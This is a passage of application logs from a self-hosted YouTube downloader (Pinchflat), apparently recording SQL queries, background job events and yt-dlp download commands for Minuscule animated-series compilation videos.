s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:47:57.928 [debug] QUERY OK source="sources" db=0.2ms idle=1024.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:57.929 [debug] QUERY OK source="media_items" db=0.8ms idle=1024.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-30 11:01:41Z], 4] 00:47:57.932 [debug] QUERY OK source="media_items" db=1.7ms idle=1025.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Cicada Do Brasil | S01E44\n00:04:36 | Caterpillar Dream | S01E20\n00:09:25 | Dragonflies | S01E33\n00:14:09 | Love Story | S01E03\n00:18:58 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:23:42 | The Ladybug | S01E01\n00:28:18 | The Wild Bunch | S01E74\n00:32:57 | Insect High Velocity | S01E53\n00:37:36 | A Mosquito Day Afternoon | S01E72\n00:42:16 | The Mosquito | S01E58\n00:46:25 | The Good Education | S01E56\n00:51:12 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:56:00 | The Apple Of Concord | S01E36\n01:00:46 | The Right Seed | S01E57\n01:05:32 | Cicadas’ Song | S01E16\n01:10:22 | Nap Time | S01E14\n01:15:10 | Mad Fly | S01E55\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Cicada #Brazil #music #culture #caterpillar #dream #insects #fly #Minuscule #nature #ladybugs #animatedseries", "Cicada Do Brasil | Minuscule 🍃 95' Compilation", "27617dd8-16d8-47eb-84a5-ace68e919b3e", "pTBNXPHEFZY", 4821, false, 4, "https://www.youtube.com/watch?v=pTBNXPHEFZY", 13, "/downloads/Miniscule Season 1/2025-10-30 Cicada Do Brasil | Minuscule 🍃 95' Compilation/Cicada Do Brasil | Minuscule 🍃 95' Compilation [pTBNXPHEFZY].mkv", false, false, false, [], 1, ~U[2025-10-30 11:01:41Z], ~U[2025-12-14 07:47:57Z], ~U[2025-12-14 07:47:57Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Cicada Do Brasil | S01E44\n00:04:36 | Caterpillar Dream | S01E20\n00:09:25 | Dragonflies | S01E33\n00:14:09 | Love Story | S01E03\n00:18:58 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:23:42 | The Ladybug | S01E01\n00:28:18 | The Wild Bunch | S01E74\n00:32:57 | Insect High Velocity | S01E53\n00:37:36 | A Mosquito Day Afternoon | S01E72\n00:42:16 | The Mosquito | S01E58\n00:46:25 | The Good Education | S01E56\n00:51:12 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:56:00 | The Apple Of Concord | S01E36\n01:00:46 | The Right Seed | S01E57\n01:05:32 | Cicadas’ Song | S01E16\n01:10:22 | Nap Time | S01E14\n01:15:10 | Mad Fly | S01E55\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Cicada #Brazil #music #culture #caterpillar #dream #insects #fly #Minuscule #nature #ladybugs #animatedseries", "Cicada Do Brasil | Minuscule 🍃 95' Compilation", "pTBNXPHEFZY", 4821, false, 4, "https://www.youtube.com/watch?v=pTBNXPHEFZY", "/downloads/Miniscule Season 1/2025-10-30 Cicada Do Brasil | Minuscule 🍃 95' Compilation/Cicada Do Brasil | Minuscule 🍃 95' Compilation [pTBNXPHEFZY].mkv", false, ~U[2025-10-30 11:01:41Z]] 00:47:57.933 [debug] QUERY OK source="sources" db=0.2ms idle=100.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:57.933 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:47:57.934 [debug] QUERY OK source="media_items" db=0.3ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [100135] 00:47:57.934 [debug] Current batch of media processed. Will check again in 1000ms 00:47:58.935 [debug] Current batch of media processed. Will check again in 1000ms 00:47:59.936 [debug] Current batch of media processed. Will check again in 1000ms 00:48:00.649 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:48:00.906 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=B9tGisEtM6I --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/102835/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/48/06/4806362210f830c6a4c509b1f36709cdb503ae9893abb6ff4e91533388d6e0ad.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 00:48:00.907 [debug] QUERY OK db=0.0ms idle=1261.5ms begin [] 00:48:00.908 [debug] QUERY OK source="media_items" db=1.2ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "metadata_filepath" = ?, "subtitle_filepaths" = ?, "thumbnail_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2025-12-14 07:47:54Z], "/downloads/Miniscule Season 1/2025-12-13 A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation/A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation [B9tGisEtM6I].mp4", "/downloads/Miniscule Season 1/2025-12-13 A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation/A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation [B9tGisEtM6I].info.json", [["en", "/downloads/Miniscule Season 1/2025-12-13 A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation/A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation [B9tGisEtM6I].en.srt"]], "/downloads/Miniscule Season 1/2025-12-13 A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation/A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation [B9tGisEtM6I]-thumb.jpg", ~U[2025-12-14 07:48:00Z], 102835] 00:48:00.910 [debug] QUERY OK source="media_metadata" db=0.8ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/102835/metadata.json.gz", "/config/metadata/media_items/102835/thumbnail.jpg", 102835, ~U[2025-12-14 07:48:00Z], ~U[2025-12-14 07:48:00Z]] 00:48:00.910 [debug] QUERY OK db=0.4ms commit [] 00:48:00.912 [debug] QUERY OK source="media_items" db=1.7ms idle=1265.7ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [126686387, ~U[2025-12-14 07:48:00Z], 102835] 00:48:00.913 [info] User scripts lifecyle file either not present or is empty. Skipping. 00:48:00.914 [info] {"args":{"id":102835},"id":2631,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":35089135,"event":"job:stop","queue_time":822977,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 00:48:00.937 [debug] Current batch of media processed. Will check again in 1000ms 00:48:01.124 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:01.938 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Gust Of Wind | S01E13\n00:04:41 | Windswept | S01E68\n00:09:30 | Insect High Velocity | S01E53\n00:14:09 | The Last Supper | S01E25\n00:18:58 | The Winter Of Our Discontent | S01E67\n00:23:47 | Bless You! | S01E66\n00:27:58 | No Luck | S01E62\n00:32:41 | The Ladybug | S01E01\n00:37:17 | A Mosquito Day Afternoon | S01E72\n00:41:57 | Out Of A Tin Can | S01E65\n00:46:32 | Nap Time | S01E14\n00:51:21 | Some Weird Fly | S01E78\n00:55:50 | Picnic | S01E24\n01:00:35 | Mad Fly | S01E55\n01:05:14 | Interior Cobwebs | S01E64\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#wind #insects #fly #spider #Windswept #fan #Minuscule #nature #ladybugs #animatedseries", "duration" => 4212, "filename" => "/downloads/Miniscule Season 1/2025-10-16 A Gust Of Wind | Minuscule 🍃 85' Compilation/A Gust Of Wind | Minuscule 🍃 85' Compilation [BQXIV1BVAV0].mp4", "id" => "BQXIV1BVAV0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=BQXIV1BVAV0", "playlist_index" => 14, "timestamp" => 1760608831, "title" => "A Gust Of Wind | Minuscule 🍃 85' Compilation", "upload_date" => "20251016"} 00:48:01.939 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1026.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:48:01.940 [debug] QUERY OK source="sources" db=0.3ms idle=1025.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:01.941 [debug] QUERY OK source="media_items" db=1.1ms idle=1019.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-16 10:00:31Z], 4] 00:48:01.966 [debug] QUERY OK source="media_items" db=24.3ms idle=817.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Gust Of Wind | S01E13\n00:04:41 | Windswept | S01E68\n00:09:30 | Insect High Velocity | S01E53\n00:14:09 | The Last Supper | S01E25\n00:18:58 | The Winter Of Our Discontent | S01E67\n00:23:47 | Bless You! | S01E66\n00:27:58 | No Luck | S01E62\n00:32:41 | The Ladybug | S01E01\n00:37:17 | A Mosquito Day Afternoon | S01E72\n00:41:57 | Out Of A Tin Can | S01E65\n00:46:32 | Nap Time | S01E14\n00:51:21 | Some Weird Fly | S01E78\n00:55:50 | Picnic | S01E24\n01:00:35 | Mad Fly | S01E55\n01:05:14 | Interior Cobwebs | S01E64\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#wind #insects #fly #spider #Windswept #fan #Minuscule #nature #ladybugs #animatedseries", "A Gust Of Wind | Minuscule 🍃 85' Compilation", "7744a38c-7f8a-469c-a8a6-b2f1a5e75033", "BQXIV1BVAV0", 4212, false, 4, "https://www.youtube.com/watch?v=BQXIV1BVAV0", 14, "/downloads/Miniscule Season 1/2025-10-16 A Gust Of Wind | Minuscule 🍃 85' Compilation/A Gust Of Wind | Minuscule 🍃 85' Compilation [BQXIV1BVAV0].mp4", false, false, false, [], 1, ~U[2025-10-16 10:00:31Z], ~U[2025-12-14 07:48:01Z], ~U[2025-12-14 07:48:01Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Gust Of Wind | S01E13\n00:04:41 | Windswept | S01E68\n00:09:30 | Insect High Velocity | S01E53\n00:14:09 | The Last Supper | S01E25\n00:18:58 | The Winter Of Our Discontent | S01E67\n00:23:47 | Bless You! | S01E66\n00:27:58 | No Luck | S01E62\n00:32:41 | The Ladybug | S01E01\n00:37:17 | A Mosquito Day Afternoon | S01E72\n00:41:57 | Out Of A Tin Can | S01E65\n00:46:32 | Nap Time | S01E14\n00:51:21 | Some Weird Fly | S01E78\n00:55:50 | Picnic | S01E24\n01:00:35 | Mad Fly | S01E55\n01:05:14 | Interior Cobwebs | S01E64\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#wind #insects #fly #spider #Windswept #fan #Minuscule #nature #ladybugs #animatedseries", "A Gust Of Wind | Minuscule 🍃 85' Compilation", "BQXIV1BVAV0", 4212, false, 4, "https://www.youtube.com/watch?v=BQXIV1BVAV0", "/downloads/Miniscule Season 1/2025-10-16 A Gust Of Wind | Minuscule 🍃 85' Compilation/A Gust Of Wind | Minuscule 🍃 85' Compilation [BQXIV1BVAV0].mp4", false, ~U[2025-10-16 10:00:31Z]] 00:48:01.967 [debug] QUERY OK source="sources" db=0.2ms idle=126.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:01.967 [debug] QUERY OK source="media_profiles" db=0.2ms idle=28.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:48:01.968 [debug] QUERY OK source="media_items" db=0.5ms idle=28.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [99280] 00:48:01.968 [debug] Current batch of media processed. Will check again in 1000ms 00:48:02.970 [debug] Current batch of media processed. Will check again in 1000ms 00:48:03.052 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=cw7aFgAQz7A --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/86/ef/86eff45df46fc91e47e6c732ec2da03cee5a12a12d206a8aab7089023f17be84.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 00:48:03.053 [debug] Running yt-dlp command for action: download 00:48:03.053 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1086.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:48:03.054 [debug] QUERY OK source="settings" db=0.2ms idle=1086.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:48:03.054 [debug] QUERY OK source="settings" db=0.2ms idle=1086.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:48:03.055 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=cw7aFgAQz7A --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Miniscule Season 1/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Miniscule Season 1/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/54/67/5467a672e6cf885ea983d5a1df3b03eeb2dd811fe40b76000167c7b18d84b813.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:48:03.971 [debug] Current batch of media processed. Will check again in 1000ms 00:48:04.972 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Chewing Gum | S01E34\n00:04:38 | Cherry Tomato | S01E77\n00:09:17 | The Quest For The Pink Lollipop | S01E32\n00:13:58 | United We Stand | S01E23\n00:18:25 | Interior Cobwebs | S01E64\n00:22:52 | The Last Supper | S01E25\n00:27:41 | Picnic | S01E24\n00:32:26 | Ants | S01E02\n00:37:15 | Zzzeplin | S01E22\n00:42:04 | A Gust Of Wind | S01E13\n00:46:46 | A Cruel World | S01E46\n00:51:35 | The Bridge On The River Zzzzzzz | S01E18\n00:56:21 | Leech | S01E73\n01:00:46 | Mad Fly | S01E55\n01:05:25 | The Ladybug | S01E01\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#chewing #gum #fly #sticky #cherry #tomato #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 4233, "filename" => "/downloads/Miniscule Season 1/2025-10-18 Chewing Gum | Minuscule 🍃 85' Compilation/Chewing Gum | Minuscule 🍃 85' Compilation [Bk2CA8ASvso].mkv", "id" => "Bk2CA8ASvso", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Bk2CA8ASvso", "playlist_index" => 15, "timestamp" => 1760781619, "title" => "Chewing Gum | Minuscule 🍃 85' Compilation", "upload_date" => "20251018"} 00:48:04.973 [debug] QUERY OK source="sources" db=0.4ms idle=1128.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:48:04.974 [debug] QUERY OK source="sources" db=0.4ms idle=328.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:04.975 [debug] QUERY OK source="media_items" db=1.0ms idle=329.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-18 10:00:19Z], 4] 00:48:04.979 [debug] QUERY OK source="media_items" db=2.5ms idle=331.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Chewing Gum | S01E34\n00:04:38 | Cherry Tomato | S01E77\n00:09:17 | The Quest For The 